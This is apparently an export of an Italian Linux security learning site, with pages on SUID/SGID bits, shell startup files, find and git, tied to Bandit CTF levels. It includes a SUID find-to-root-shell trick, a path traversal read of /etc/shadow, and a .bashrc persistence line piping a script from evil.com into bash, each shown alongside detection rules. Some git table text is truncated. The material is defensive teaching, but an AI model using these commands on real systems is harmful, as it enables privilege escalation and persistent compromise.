significa: SUID attivo. Questo eseguibile gira con UID=0 per chiunque lo lanci.\ngraph TD Utente[\"barno UID=1000\"] --\u003e|esegue| Passwd[\"/usr/bin/passwd\\nSUID + owner=root\"] Passwd --\u003e|processo gira con| EUID[\"EUID=0 root\"] EUID --\u003e|può scrivere su| Shadow[\"/etc/shadow\\naltrimenti inaccessibile\"] passwd ha bisogno di SUID per funzionare: deve scrivere su /etc/shadow, che è leggibile solo da root. È un caso d'uso legittimo.\nTrovare i binari SUID sul sistema # # Elenca tutti i file con il bit SUID impostato find / -perm -4000 -type f 2\u0026gt;/dev/null # output simulato /usr/bin/sudo /usr/bin/passwd /usr/bin/su /usr/bin/mount /usr/bin/newgrp /usr/bin/gpasswd -perm -4000 significa \u0026quot;il bit 4000 è impostato\u0026quot; - il 4 davanti è il bit SUID in notazione ottale.\nIl GID e il bit SGID # Come SUID ma per i gruppi. Un file con SGID gira con il GID del gruppo proprietario invece del GID dell'utente che lo esegue.\nls -la /usr/bin/write # output simulato -rwxr-sr-x 1 root tty 14328 Feb 25 2022 /usr/bin/write La s nella posizione del gruppo: SGID attivo. Il processo gira con GID del gruppo tty.\nSulle directory, SGID ha un comportamento diverso: i file creati dentro ereditano il GID della directory, non quello dell'utente. Utile per cartelle condivise tra team.\nDove si rompe: privilege escalation # Un binario SUID root che permette di eseguire comandi arbitrari è un vettore di privilege escalation.\nEsempio semplice: find con SUID root (non dovrebbe esistere, ma succede su sistemi mal configurati):\n# find può eseguire comandi con -exec # se ha SUID root, quei comandi girano come root find /etc/passwd -exec /bin/sh \\; # output simulato # id uid=1000(barno) gid=1000(barno) euid=0(root) L'EUID è 0 anche se l'UID rimane quello dell'utente. Sei root per tutto ciò che riguarda i controlli di accesso.\nIl sito GTFOBins cataloga quali binari standard possono essere usati in questo modo quando hanno SUID impostato.\nCome impostare e rimuovere SUID # # Aggiunge il bit SUID a un file chmod u+s /percorso/file # oppure in ottale (4 davanti ai permessi normali) chmod 4755 /percorso/file # Rimuove il bit SUID chmod u-s /percorso/file # Verifica ls -la /percorso/file # deve comparire \u0026#39;s\u0026#39; al posto di \u0026#39;x\u0026#39; nei permessi del proprietario Quando il SUID è un rischio # Il bit SUID è necessario su pochissimi binari di sistema (passwd, sudo, su, mount). Su tutto il resto è un rischio.\nSegnali di allarme:\nBinari SUID fuori da /usr/bin/ e /usr/sbin/ Binari SUID non appartenenti a nessun pacchetto installato Interpreti (python, perl, bash) con SUID impostato Editor di testo o strumenti di debug con SUID # Audit rapido: SUID fuori dai path standard find / -perm -4000 -type f 2\u0026gt;/dev/null | \\ grep -v -E \u0026#34;^/(usr/bin|usr/sbin|bin|sbin|usr/lib)\u0026#34; Ogni riga nell'output è qualcosa da esaminare.\nexit 0 # UID e GID non sono dettagli implementativi - sono il confine tra quello che puoi fare e quello che non puoi. Il bit SUID è un'eccezione a quel confine: necessaria in casi specifici, pericolosa ovunque altro.\nLa privilege escalation via SUID non è un bug del sistema operativo. È il sistema che funziona esattamente come progettato, applicato a una situazione che chi ha configurato il server non aveva previsto.\nConcetti correlati: uid-gid-identifiers, linux-permissions-ugo, suid-sgid-sticky Comandi usati: find\n","date":"18 marzo 2026","externalUrl":null,"permalink":"/blog/chi-sei-per-il-kernel/","section":"Blog","summary":" TL;DR Linux non lavora con nomi utente - lavora con numeri: UID e GID Ogni file ha tre livelli di permessi: owner, group, others Il bit SUID cambia le regole: il processo gira con i privilegi del proprietario del file, non di chi lo esegue find / -perm -4000 trova tutti i binari SUID del sistema - un'occhiata vale sempre ▶ $ history id ls -la /usr/bin/passwd find / -perm -4000 -type f 2\u003e/dev/null chmod u+s /path/to/file chmod u-s /path/to/file find / -perm -4000 -type f 2\u003e/dev/null | grep -v -E \"^/(usr/bin|usr/sbin|bin|sbin|usr/lib)\" Linux non sa chi sei. Sa solo il tuo numero.\n","title":"Chi Sei per il Kernel","type":"blog"},{"content":" Cosa è # Una shell interattiva è collegata a un terminale (TTY) e legge input dall'utente. Una shell non interattiva esegue comandi senza TTY e non legge i file di configurazione utente come .bashrc.\nLa differenza in pratica # INTERATTIVA NON INTERATTIVA ──────────────────── ────────────────────── ssh host ssh host comando docker exec -it container bash docker exec container comando Apri terminale in GUI Script bash eseguito da cron Login console TTY Pipe: echo \u0026#34;cmd\u0026#34; | bash Legge: .bashrc, .bash_profile NON legge: .bashrc Ha: prompt, history, tab NON ha: prompt interattivo Flag $- contiene: i Flag $- NON contiene: i La famiglia dei dotfile bash # ~/.bashrc └── shell interattiva NON-login (nuovo terminale in GUI) Contiene: alias, funzioni, prompt PS1 ~/.bash_profile (o ~/.profile) └── shell di LOGIN (SSH, console TTY) Contiene: variabili PATH, EDITOR Di solito chiama: source ~/.bashrc ~/.bash_logout └── eseguito all\u0026#39;uscita da shell di login /etc/bash.bashrc └── come ~/.bashrc ma per TUTTI gli utenti /etc/profile └── come ~/.bash_profile ma per TUTTI gli utenti Ordine di lettura al login SSH:\nssh login │ ▼ /etc/profile │ ▼ ~/.bash_profile → source ~/.bashrc │ ▼ ~/.bashrc ← qui vive il codice malevolo in Bandit 18 File di startup — login shell:\nFile Scope Quando viene letto /etc/profile globale sempre, primo ~/.bash_profile personale se esiste ~/.bash_login personale se .bash_profile non esiste ~/.profile personale se nessuno dei precedenti esiste — default Ubuntu File di startup — non-login shell:\nFile Scope Quando viene letto /etc/bash.bashrc globale sempre ~/.bashrc personale sempre Note Su Ubuntu ~/.bash_profile non esiste di default. La shell di login legge ~/.profile, che chiama ~/.bashrc. Tutto converge su ~/.bashrc.\nRC — cosa significa # RC = Run Commands — termine Unix anni '70. Indica script eseguiti automaticamente all'avvio di un programma. Lo trovi ovunque: .bashrc, .zshrc, /etc/rc.local, systemd rc.\nBash vs Zsh # bash zsh ──────────────────── ────────────────────── ~/.bashrc ~/.zshrc ~/.bash_profile ~/.zprofile default su Linux default su macOS (da Catalina 2019) standard Unix scripting più funzionalità interattive compatibile con bash per scripting base Mac e Kali → zsh → modifichi ~/.zshrc. Bandit / Ubuntu Server → bash → il problema era in ~/.bashrc zsh è sempre più comune anche su Linux — Kali lo usa come default.\n$ echo $SHELL /usr/bin/zsh Implicazione pratica per il blue team: # Se analizzi un sistema compromesso devi controllare ENTRAMBI:\n~/.bashrc → se l\u0026#39;utente usa bash ~/.zshrc → se l\u0026#39;utente usa zsh ~/.profile → letto da entrambi in alcuni casi TTY e il flag -it in Docker/SSH # TTY = Teletypewriter — terminale virtuale ssh host → apre TTY, shell interattiva ssh host comando → nessun TTY, shell non interattiva docker exec container cmd → nessun TTY docker exec -it container → -i = stdin aperto -t = alloca TTY risultato: shell interattiva Stesso identico meccanismo — SSH e Docker usano lo stesso concetto di TTY per decidere se la shell è interattiva o no.\nCome verificare se sei in una shell interattiva # echo $- # se contiene \u0026#39;i\u0026#39; → interattiva # esempio output interattiva: himBHs # esempio output non interattiva: hBs Scenario Reale — Persistence via dotfile # ATTACCO: Malware ottiene accesso al sistema │ ▼ Modifica ~/.bashrc dell\u0026#39;utente target aggiunge: curl http://evil.com/payload.sh | bash │ ▼ Ad ogni login SSH dell\u0026#39;utente → codice malevolo eseguito RILEVAMENTO (blue team): Monitora hash di ~/.bashrc con baseline Alert se il file cambia → vedi bashrc-monitor.sh Oppure: auditd auditctl -w /home/utente/.bashrc -p wa -k dotfile_change Warning I dotfile sono uno dei vettori di persistence più usati perché raramente monitorati. .bashrc, .bash_profile, .zshrc, .profile sono tutti target validi.\nCollegato a # ssh — comando che sfrutta questa differenza bandit-18 — livello dove questo concetto è centrale system — categoria printenv — per leggere le variabili d'ambiente export — per esportare variabili shell-environment — concetto dell'ambiente shell bash-startup-files ","date":"18 marzo 2026","externalUrl":null,"permalink":"/concetti/shell-interattiva/","section":"Concetti","summary":"La differenza tra shell interattiva e non interattiva determina quali file di configurazione vengono letti all'avvio. Fondamentale per capire persistence via dotfile e comportamento di SSH.","title":"Shell Interattiva vs Non Interattiva","type":"concetti"},{"content":" Cosa sono # Tre bit speciali che estendono il sistema di permessi UGO standard. Compaiono nella stringa dei permessi come s, S, t, T al posto della x. Fondamentali per capire privilege escalation su Linux.\nLa stringa dei permessi completa # - r w s r w s r w t │ └──┬──┘└──┬──┘└──┬──┘ │ │ │ │ │ Owner Group Others │ │ │ │ │ s s t │ ↑ ↑ ↑ │ SUID SGID Sticky │ tipo file (- = file, d = directory) Minuscola vs Maiuscola — la differenza # s minuscola → bit speciale attivo + x attivo S maiuscola → bit speciale attivo + x NON attivo (anomalia!) t minuscola → sticky bit attivo + x attivo T maiuscola → sticky bit attivo + x NON attivo Esempi: -rwsr-x--- SUID attivo, owner può eseguire ← normale -rwSr-x--- SUID attivo, owner NON può eseguire ← anomalia, da investigare Warning Una S maiuscola (SUID senza execute) è quasi sempre un errore di configurazione o un segnale sospetto — il bit speciale è attivo su un file che non può essere eseguito.\nSUID — Set User ID # Dove compare: nella posizione x dell'owner (-rws------)\nCosa fa: quando esegui il file, il processo gira con l'effective UID del proprietario del file, non del tuo.\nScenario Bandit 19: Tu: bandit19 (real UID) Proprietario file: bandit20 Permessi: -rwsr-x--- Esegui ./bandit20-do: ┌─────────────────────────────────────┐ │ real UID = bandit19 │ ← chi sei tu │ effective UID = bandit20 │ ← \u0026#34;cappello\u0026#34; del processo └─────────────────────────────────────┘ │ ▼ Il processo può leggere file di bandit20 Tu nella shell resti bandit19 Come trovare tutti i SUID sul sistema:\nfind / -perm -4000 -type f 2\u0026gt;/dev/null Perché è pericoloso:\nSUID su binario di root + vulnerabilità nel binario = privilege escalation a root senza password Binari SUID legittimi comuni: /usr/bin/passwd → deve modificare /etc/shadow (di root) /usr/bin/sudo → deve eseguire comandi come root /usr/bin/ping → deve aprire raw socket (privilegiato) Altro Esempio semplificato, Utente A e Utente B # Quando lanci il binario sei ancora A come real UID, ma il processo gira con effective UID = B. Non \u0026quot;diventi\u0026quot; B — il processo indossa il \u0026quot;cappello\u0026quot; di B per quella esecuzione specifica.\nLa distinzione real/effective conta perché:\nLa shell ti mostra ancora come A Ma il processo può leggere file di B Quando il processo finisce, il cappello sparisce SGID — Set Group ID # Dove compare: nella posizione x del gruppo (----rws---)\nCosa fa su un file: il processo gira con il GID del gruppo del file.\nCosa fa su una directory: ogni file creato dentro eredita il gruppo della directory — utile per cartelle condivise.\nScenario cartella condivisa: sudo chmod 2770 /opt/team/ ← il \u0026#34;2\u0026#34; = SGID sudo chgrp devteam /opt/team/ Utente A crea file.txt dentro /opt/team/ → file.txt appartiene automaticamente a devteam → Utente B (stesso gruppo) può leggerlo Senza SGID → file.txt appartiene al gruppo primario di A → B non può leggerlo Come trovare tutti i SGID:\nfind / -perm -2000 -type f 2\u0026gt;/dev/null Sticky Bit # Dove compare: nella posizione x degli others (---------rwt)\nCosa fa: in una directory con sticky bit, puoi cancellare solo i file di cui sei proprietario — anche se hai w sulla directory.\n/tmp ha sempre sticky bit: drwxrwxrwt root root /tmp Utente A crea /tmp/miofile.txt Utente B ha w su /tmp (può creare file) Utente B prova a cancellare /tmp/miofile.txt → DENIED — Utente B non è il proprietario Senza sticky bit: Utente B con w su /tmp POTREBBE cancellare i file di A Sticky Bit Sticky bit (t) — fa solo una cosa: impedisce di cancellare i file degli altri. Senza sticky bit, chiunque abbia w su /tmp potrebbe cancellare i file di tutti gli altri utenti. Con sticky bit puoi cancellare solo i file di cui sei proprietario.\nCome trovare directory con sticky bit:\nfind / -perm -1000 -type d 2\u0026gt;/dev/null Riepilogo in ottale # Valore ottale del quarto cifra (davanti alle 3 standard): SUID = 4000 SGID = 2000 Sticky Bit = 1000 Esempi: chmod 4755 file → -rwsr-xr-x (SUID + 755) chmod 2770 dir/ → drwxrws--- (SGID + 770) chmod 1777 /tmp → drwxrwxrwt (Sticky + 777) chmod 6755 file → -rwsr-sr-x (SUID + SGID + 755) Scenario Reale — Privilege Escalation via SUID # ATTACCO: find / -perm -4000 -type f 2\u0026gt;/dev/null │ ▼ /usr/local/bin/backup -rwsr-xr-x root root │ ▼ Analisi del binario: accetta path come argomento, non sanitizza l\u0026#39;input │ ▼ ./backup ../../../../etc/shadow → legge /etc/shadow con effective UID = root → hash delle password di tutti gli utenti RILEVAMENTO (blue team): Monitorare esecuzione di binari SUID inattesi: auditctl -a always,exit -F arch=b64 -S execve \\ -F euid=0 -F auid\u0026gt;=1000 -k suid_exec Tip In un penetration test o CTF, cercare binari SUID è quasi sempre uno dei primi passi dopo aver ottenuto accesso. find / -perm -4000 2\u0026gt;/dev/null è il comando da memorizzare.\nCollegato a # linux-permissions-ugo — sistema permessi base bandit-19 — livello dove SUID è centrale chmod — come impostare questi bit iam — categoria system — categoria ","date":"18 marzo 2026","externalUrl":null,"permalink":"/concetti/suid-sgid-sticky/","section":"Concetti","summary":"I tre bit speciali dei permessi Linux: SUID fa girare un processo con i permessi del proprietario del file, SGID con quelli del gruppo, Sticky Bit impedisce la cancellazione da parte di chi non è proprietario.","title":"SUID, SGID e Sticky Bit","type":"concetti"},{"content":"","date":"17 marzo 2026","externalUrl":null,"permalink":"/tags/file/","section":"Tags","summary":"","title":"File","type":"tags"},{"content":" Cosa fa # Cerca file e directory nel filesystem in base a criteri specifici (nome, dimensione, permessi, utente). È uno strumento ricorsivo per natura, fondamentale per l'analisi del sistema e la ricerca di artefatti.\nSintassi # find [percorso] [espressione/criteri]\nComandi essenziali # Comando Flag Significato flag Cosa fa find . -name \u0026quot;test.txt\u0026quot; -name Name (nome) Cerca per nome esatto nella cartella attuale. find / -user bandit7 -user User (utente) Cerca file di proprietà dell'utente \u0026quot;bandit7\u0026quot;. find / -group bandit6 -group Group (gruppo) Cerca file appartenenti al gruppo \u0026quot;bandit6\u0026quot;. find . -size 1033c -size Size (dimensione) Cerca file di dimensione esatta (c = byte). find . -type f -type f Type File Filtra solo i file (esclude le directory). find . -xtype l -xtype l Extended Type Link Trova specificamente i link simbolici corrotti. find . ! -executable ! Not (negazione) Cerca file che non sono eseguibili. find . -inum 12345 -inum Inode Number Cerca il file che possiede quel numero di Inode specifico. Tipi di file (-type) # Tipo Descrizione f File regolare d Directory l Link simbolico b Block device (es. disco) c Character device (es. terminale) Unità di dimensione (-size) # Carattere Unità c byte k kilobyte (1024 byte) M megabyte G gigabyte b blocchi da 512 byte (default se non specificato) find ~ -size +1M # file piu\u0026#39; grandi di 1MB find ~ -size -100k # file piu\u0026#39; piccoli di 100KB find ~ -size 1033c # file di esattamente 1033 byte Flag temporali # Flag Cosa cerca -mmin n modificato esattamente n minuti fa -mtime n modificato n*24 ore fa -cmin n contenuto O attributi modificati n minuti fa -ctime n contenuto O attributi modificati n*24 ore fa -newer file piu' recente del file specificato -newermt \u0026quot;data\u0026quot; modificato dopo questa data (formato YYYY-MM-DD) -empty file o directory vuoti # File modificati nelle ultime 24 ore find /etc -mtime -1 # Tutti i file modificati nelle ultime 2 ore dalla dir corrente find . -type f -mmin -120 # File modificati negli ultimi 10 minuti mmin sta per modification minutes find /tmp -mmin -10 # File in un range di date find /var/log -newermt \u0026#34;2026-03-01\u0026#34; ! -newermt \u0026#34;2026-03-28\u0026#34; Operatori logici # Operatore Abbreviazione Significato -and -a entrambe le condizioni vere (default implicito) -or -o almeno una condizione vera -not ! condizione falsa \\( \\) — raggruppamento — cambia la precedenza # File regolari senza permesso 0600 OPPURE directory senza permesso 0700 find ~ \\( -type f -not -perm 0600 \\) -or \\( -type d -not -perm 0700 \\) # Tutti i file .jpg O .png piu\u0026#39; grandi di 1MB find ~ \\( -name \u0026#34;*.jpg\u0026#34; -o -name \u0026#34;*.png\u0026#34; \\) -size +1M # File di root che NON sono eseguibili find /usr -user root -not -executable -type f Note Le parentesi \\( \\) devono essere escaped con backslash perche' la shell le usa per altro. Devono avere uno spazio prima e dopo.\nAzioni predefinite # Azione Cosa fa -print Stampa il path (default — implicita se non specifichi altro) -ls Esegue ls -dils su ogni file trovato -delete Cancella il file trovato -quit Si ferma al primo match # Trova e mostra dettagli stile ls find /tmp -type f -ls # Trova e cancella file vuoti find /tmp -empty -type f -delete -exec — eseguire comandi sui risultati # -exec permette di eseguire qualsiasi comando su ogni file trovato.\nfind percorso criteri -exec comando {} \\; # ^ ^ # | terminatore del comando (escaped) # placeholder — sostituito con il path del file {} NON è brace expansion della shell — è un placeholder specifico di find. La shell non lo tocca perche' e' passato come argomento. Find lo sostituisce internamente con il path di ogni file trovato.\n# Esegui \u0026#39;file\u0026#39; su ogni risultato per vedere il tipo find . -type f -exec file {} \\; # Cancella ogni file trovato (equivalente a -delete) find /tmp -name \u0026#34;*.tmp\u0026#34; -exec rm \u0026#39;{}\u0026#39; \u0026#39;;\u0026#39; # Cambia permessi su tutti i file trovati find ~ -type f -exec chmod 644 {} \\; # Differenza tra \\; e + find . -name \u0026#34;*.log\u0026#34; -exec ls -l {} \\; # esegue ls una volta per file find . -name \u0026#34;*.log\u0026#34; -exec ls -l {} + # passa tutti i file a ls in un colpo solo — piu\u0026#39; veloce xargs — alternativa a -exec per pipeline # xargs prende stdin e lo converte in argomenti per un comando. Piu' efficiente di -exec con \\; perche' esegue il comando una volta sola con tutti i file.\n# Equivalente a -exec ls -l {} + find ~ -type f -name \u0026#39;foo*\u0026#39; | xargs ls -l # Conta le righe di tutti i file .py find . -name \u0026#34;*.py\u0026#34; | xargs wc -l # Cancella tutti i file .tmp find /tmp -name \u0026#34;*.tmp\u0026#34; | xargs rm # Attenzione: se i nomi hanno spazi, usa -print0 + xargs -0 find . -name \u0026#34;*.txt\u0026#34; -print0 | xargs -0 rm Tip -print0 e xargs -0 usano il carattere null invece del newline come separatore — gestisce correttamente nomi di file con spazi.\nPrende solo i file in un range di date # find /var/log -newermt \u0026#34;2026-03-01\u0026#34; ! -newermt \u0026#34;2026-03-11\u0026#34; -newermt = newer modification time — file modificati dopo quella data. ! = negazione — esclude quelli dopo la data finale.\ntrova tutte le immagini\nfind . \\( -name \u0026#34;*.png\u0026#34; -o -name \u0026#34;*.jpg\u0026#34; -o -name \u0026#34;*.jpeg\u0026#34; \\) -print Quelli che hanno crittografia nel nome file\nfind /Users/barno/Documents/lavori/corsobitcoin/content/posts/ -iname \u0026#34;*crittografia*\u0026#34; Spiegazione dei parametri: # find .: Cerca nella cartella corrente e in tutte le sottocartelle. \\( e \\) : Raggruppano le opzioni (indispensabili quando usi l'operatore OR). -name \u0026quot;*.png\u0026quot;: Cerca i file che finiscono per .png. -o: Operatore logico \u0026quot;OR\u0026quot; (O). -name \u0026quot;*.jpg\u0026quot; e -name \u0026quot;*.jpeg\u0026quot;: Aggiunge anche le varianti delle immagini JP Combinazioni utili # # Trova file di 1033 byte, non eseguibili, del gruppo bandit6 find / -group bandit6 -size 1033c ! -executable 2\u0026gt;/dev/null # Trova tutti i link rotti e mostrali in formato esteso find . -xtype l -exec ls -l {} + Analisi Avanzata (Exec) # Il vero potere di find risiede nella capacità di eseguire azioni sui file trovati:\n# Esegue il comando \u0026#39;file\u0026#39; su ogni oggetto trovato per determinarne il tipo find . -type f -exec file {} + {}: Segnaposto per il file trovato. +: Concatena i risultati per velocizzare l'esecuzione. #cambia il gruppo a barno per tutti i gruppi id 1001. se ci sono errori non li stampa a visro sudo find / -gid 1001 -exec chgrp barno {} \\; 2\u0026gt;/dev/null Gestione Errori (Silenziare l'output) # In ambito Blue Team, quando cerchi dalla root (/) come utente non privilegiato, vedrai migliaia di errori \u0026quot;Permission denied\u0026quot;. Puliamo l'output così:\nfind / -user bandit7 -group bandit6 2\u0026gt;/dev/null Scenario Reale # Durante un'attività di Incindent Response, devi trovare tutti i file modificati negli ultimi 2 giorni nella cartella /etc per vedere se un attaccante ha alterato le configurazioni: find /etc -type f -mtime -2\nIn un'investigation post-compromissione, per trovare file modificati nelle ultime 2 ore escludendo filesystem virtuali che generano rumore:\nfind / -mmin -120 -type f \\ ! -path \u0026#34;/proc/*\u0026#34; \\ ! -path \u0026#34;/sys/*\u0026#34; \\ ! -path \u0026#34;/dev/*\u0026#34; \\ 2\u0026gt;/dev/null Senza escludere /proc, /sys, /dev il risultato e' inutilizzabile (centinaia di migliaia di file). -mmin -120 e' preferibile a -newer /tmp quando si conosce il timestamp dell'attacco.\nDurante un'analisi post-incidente, un analista deve trovare tutti i file creati o modificati nelle ultime 24 ore che appartengono a un utente sospetto. Userebbe find / -user sospetto -mtime -1.\nDove l'ho usato # bandit-05 — Ricerca per dimensione specifica e permessi. bandit-06 — Ricerca globale filtrata per utente e gruppo proprietario. Note personali # Ricorda: Il flag -size è molto pignolo. 1033c cerca esattamente 1033 byte, mentre +1033c cerca file più grandi e -1033c file più piccoli.\nCollegato a # system — categoria (Hub) standard-streams — concetto (per l'uso di 2\u0026gt;/dev/null). grep — spesso usato in pipe per filtrare il contenuto dei file trovati broken-links — per la ricerca di link orfani ","date":"17 marzo 2026","externalUrl":null,"permalink":"/comandi/find/","section":"Comandi","summary":"Cerca file e directory nel filesystem in base a criteri specifici (nome, dimensione, permessi, utente). È uno strumento ricorsivo per natura, fondamentale per l'analisi del sistema e la ricerca di artefatti.","title":"Find","type":"comandi"},{"content":" Cosa fa # Sistema di version control distribuito. Traccia modifiche ai file nel tempo, permette collaborazione, branching e rollback. Ogni sviluppatore ha una copia completa del repository, inclusa tutta la storia.\nSintassi # git [comando] [opzioni] [argomenti]\nComandi essenziali # Comando Flag Significato flag Cosa fa git init — — Inizializza un nuovo repo nella cartella corr git clone \u0026lt;url\u0026gt; — — Clona un repo remoto in git status — — Mostra lo stato dei file (staged, modified, un git add \u0026lt;file\u0026gt; -A all Aggiunge tutti i file modificati allo st git add -f \u0026lt;file\u0026gt; -f force forza l'aggiunta di un file anche se è escluso da .gitignore. git commit -m \u0026quot;msg\u0026quot; -m message Crea un commit c git push -u origin main upstream Pusha e imposta il t git pull --rebase rebase invece di merge Aggiorna il branch locale c git log --oneline --graph formato compatto + grafo Visualizza la git log p patch Mostra ogni commit con il diff completo allegato — cosa è stato aggiunto (+) e cosa è stato rimosso (-) in ogni file.\ngit log -p | grep -i \u0026quot;password|secret|key|token|api\u0026quot; oken|api\u0026quot; ogni file. git diff --staged staged Mostra le differen git stash pop ripristina Salva temporaneamente git diff HASH1 HASH2 — — Differenz git push --force — — Sovrascrive la storia del remote — pe git clone ssh://utente@host:2220/path — — Clone su porta SSH non standard — la port git fetch --all --prune --prune prune Rimuove branch remoti locali che non esistono piu' sul remote git show-ref pattern — — Mostra tutti i riferimenti che contengono il pattern La cartella .git/ # Important .git/ è il repo. La cartella di lavoro sono solo i file estratti dall'ultimo commit. Se cancelli .git/ perdi tutta la storia — i file rimangono ma non sono più un repo Git.\n# Struttura interna .git/ ├── HEAD ← punta al branch corrente (\u0026#34;ref: refs/heads/main\u0026#34;) ├── config ← configurazione locale del repo (remote, user, ecc.) ├── index ← staging area — file pronti per il prossimo commit ├── objects/ ← database di tutti i commit, tree, blob (i dati reali) │ ├── ab/ ← primi 2 char dell\u0026#39;hash → subdirectory │ └── cd/ ← ogni oggetto identificato dal suo SHA-1 ├── refs/ │ ├── heads/ ← branch locali (main, feature, ecc.) │ └── remotes/ ← branch remoti (origin/main, ecc.) └── logs/ ← storia di tutti i movimenti di HEAD (reflog) # Vedere a cosa punta HEAD cat .git/HEAD # Vedere l\u0026#39;hash dell\u0026#39;ultimo commit cat .git/refs/heads/main # Recuperare commit \u0026#34;persi\u0026#34; (anche dopo reset --hard) git reflog gitdir # Note La cartella .git/ è chiamata gitdir — è la directory che contiene l'intero stato del repository. Il path del gitdir è sempre referenziato dalla variabile $GIT_DIR. Normalmente vive dentro la cartella di lavoro, ma può stare altrove (es. nei worktree o nei submodule).\n# GIT_DIR può essere impostato manualmente per puntare # a un gitdir in una posizione non standard GIT_DIR=/path/al/gitdir git status Cosa fa gitdir in pratica:\nIl gitdir separa i metadati Git dai file di lavoro. Normalmente stanno insieme (progetto/.git/), ma possono stare separati — questo abilita scenari avanzati:\nScenario Come funziona Repo normale .git/ dentro la cartella di lavoro Bare repo Solo il gitdir, nessuna cartella di lavoro — usato sui server remoti (GitHub, GitLab) Worktree Stessa storia, due cartelle di lavoro diverse — git worktree add Submodule Il gitdir del submodule vive in .git/modules/nome/ del repo padre, non dentro il submodule stesso # Bare repo — solo il gitdir, nessun file di lavoro # È quello che gira su GitHub dietro le quinte git init --bare repo.git # Verificare se sei in un bare repo git rev-parse --is-bare-repository Tip Quando fai git clone di un repo privato su un server, il server ha un bare repo — solo il gitdir, nessun file estratto. Tu scarichi la storia e estrai i file nella tua cartella di lavoro.\n# Vedere il path del gitdir corrente git rev-parse --git-dir # Output tipico: # /Users/barno/progetti/obsidian-vault/.git Esempio reale — gitdir fuori da iCloud:\n# Problema: iCloud sincronizza .git/ → conflitti, file duplicati, corruzione repo # Soluzione: cartella di lavoro su iCloud, gitdir fuori # Crea il gitdir in una posizione fuori da iCloud git init --separate-git-dir /Users/barno/gitdirs/obsidian-vault ~/Library/Mobile\\ Documents/obsidian-vault # Risultato: # ~/Library/Mobile Documents/obsidian-vault/ ← su iCloud (file di lavoro) # └── .git ← file di testo con path al gitdir # NON una cartella, solo un puntatore # /Users/barno/gitdirs/obsidian-vault/ ← fuori da iCloud (il vero gitdir) # Il file .git nella cartella di lavoro contiene solo: cat ~/Library/Mobile\\ Documents/obsidian-vault/.git # gitdir: /Users/barno/gitdirs/obsidian-vault Tip Con --separate-git-dir il .git nella cartella di lavoro non è più una cartella — è un file di testo con una sola riga che punta al gitdir reale. iCloud sincronizza solo i tuoi file, mai la storia Git.\nWarning Non committare mai file sensibili (password, token, chiavi SSH) — anche se li rimuovi nel commit successivo, restano per sempre in .git/objects/. Per rimuoverli dalla storia serve git filter-repo.\nBranch # Comando Flag Significato flag Cosa fa git branch — — Lista tutti i branch locali git branch -a -a all Lista branch locali e remoti git branch -r -r remote Lista solo i branch remoti git branch nome — — Crea un nuovo branch git checkout nome — — Switcha su un branch esistente git checkout -b nome -b branch Crea e switcha in un colpo solo git merge nome — — Mergia il branch nome nel branch corrente git branch -d nome -d delete Elimina un branch (solo se gia' mergiato) git branch -D nome -D Delete forzato Elimina un branch forzatamente Rebase # Il rebase riscrive la storia dei commit. Invece di creare un commit di merge, \u0026quot;sposta\u0026quot; i tuoi commit sopra il branch target.\nPrima del rebase — feature parte da B, main va avanti con C:\ngitGraph commit id: \"A\" commit id: \"B\" branch feature checkout feature commit id: \"D\" commit id: \"E\" checkout main commit id: \"C\" Dopo il rebase — i commit D ed E vengono riscritti come D' ed E' sopra C:\ngitGraph commit id: \"A\" commit id: \"B\" commit id: \"C\" commit id: \"D'\" commit id: \"E'\" Rebase interattivo — squash di 3 commit in 1:\n# prima: D───E───F ← 3 commit separati # dopo: D\u0026#39; ← squashati in 1 solo commit git rebase -i HEAD~3 git checkout feature git rebase main # sposta i commit di feature sopra main git rebase -i HEAD~3 # rebase interattivo: modifica/squash ultimi 3 commit git rebase --abort # annulla il rebase se ci sono conflitti git rebase --continue # continua dopo aver risolto i conflitti Tag # Comando Flag Significato flag Cosa fa git tag — — Lista tutti i tag del repository git tag nome — — Crea un tag leggero sul commit corrente git tag -a nome -m \u0026quot;msg\u0026quot; -a annotated Crea un tag annotato con messaggio git show nome — — Mostra il contenuto del tag git tag -d nome -d delete Elimina un tag locale I tag sono puntatori fissi a un commit — non si spostano come i branch. Usati normalmente per marcare versioni (v1.0, v2.3.1). In secret scanning vanno controllati sempre con git tag + git show \u0026lt;tag\u0026gt; — spesso dimenticati.\n# Differenza tag leggero vs annotato git tag v1.0 # leggero — solo un puntatore git tag -a v1.0 -m \u0026#34;msg\u0026#34; # annotato — ha metadati propri (autore, data, messaggio) Merge vs Rebase # Merge — preserva la storia, crea un commit di unione:\ngitGraph commit id: \"A\" commit id: \"B\" branch feature checkout feature commit id: \"D\" commit id: \"E\" checkout main commit id: \"C\" merge feature id: \"M\" Rebase — riscrive la storia, lineare e pulita:\ngitGraph commit id: \"A\" commit id: \"B\" commit id: \"C\" commit id: \"D'\" commit id: \"E'\" Merge Rebase Storia Preservata, con commit di merge Riscritta, lineare Grafo Intrecciato Pulito Commit hash Invariati Cambiano (D→D') Branch condivisi ✅ Sicuro ❌ Pericoloso Branch locali ✅ Ok ✅ Preferibile Traccia dell'unione Sì No Conflitti Risolti una volta nel commit M Risolti commit per commit Tip Rebase in privato, merge in pubblico. Finché il branch è solo tuo → rebase. Appena è condiviso → merge.\nWarning Il rebase riscrive i commit hash. Su un repo condiviso questo causa problemi — usalo solo su branch locali non ancora pushati. Se vedi commit hash che cambiano su un repo aziendale, potrebbe essere un segnale di manomissione della storia.\nForce push — cosa risolve e cosa no\n# Scenario: hai pushato una password per errore # 1. Riscrivi la storia locale rimuovendo il commit con il segreto git rebase -i HEAD~2 # 2. Sovrascrivi il remote con la storia riscritta git push --force # Il commit con hash 12345 non esiste piu\u0026#39; nella storia del remote. # Chi fa git clone ORA non vedra\u0026#39; mai la password. Ma il force push non raggiunge le copie locali esistenti:\nSituazione Effetto del force push git clone dopo il force push Non vede la password — storia pulita Aveva gia' clonato prima Il commit e' in .git/objects/ sul suo disco git pull dopo il force push Git rifiuta — storia divergente. Deve fare git reset --hard origin/main per allinearsi, ma nel frattempo il commit e' ancora in locale git fetch --all Scarica i riferimenti aggiornati ma non tocca .git/objects/ — il vecchio commit rimane fino al prossimo git gc Warning Non puoi controllare le copie locali degli altri. Il force push pulisce il remote, non le macchine che hanno gia' fatto fetch. Ruota sempre la credenziale — il force push e' igiene, non sicurezza.\nCherry-pick # Prende un singolo commit da un altro branch e lo applica sul branch corrente, senza fare merge di tutto il branch.\ngitGraph commit id: \"A\" commit id: \"B\" branch feature checkout feature commit id: \"D\" commit id: \"E\" commit id: \"F\" checkout main commit id: \"C\" cherry-pick id: \"E\" git cherry-pick 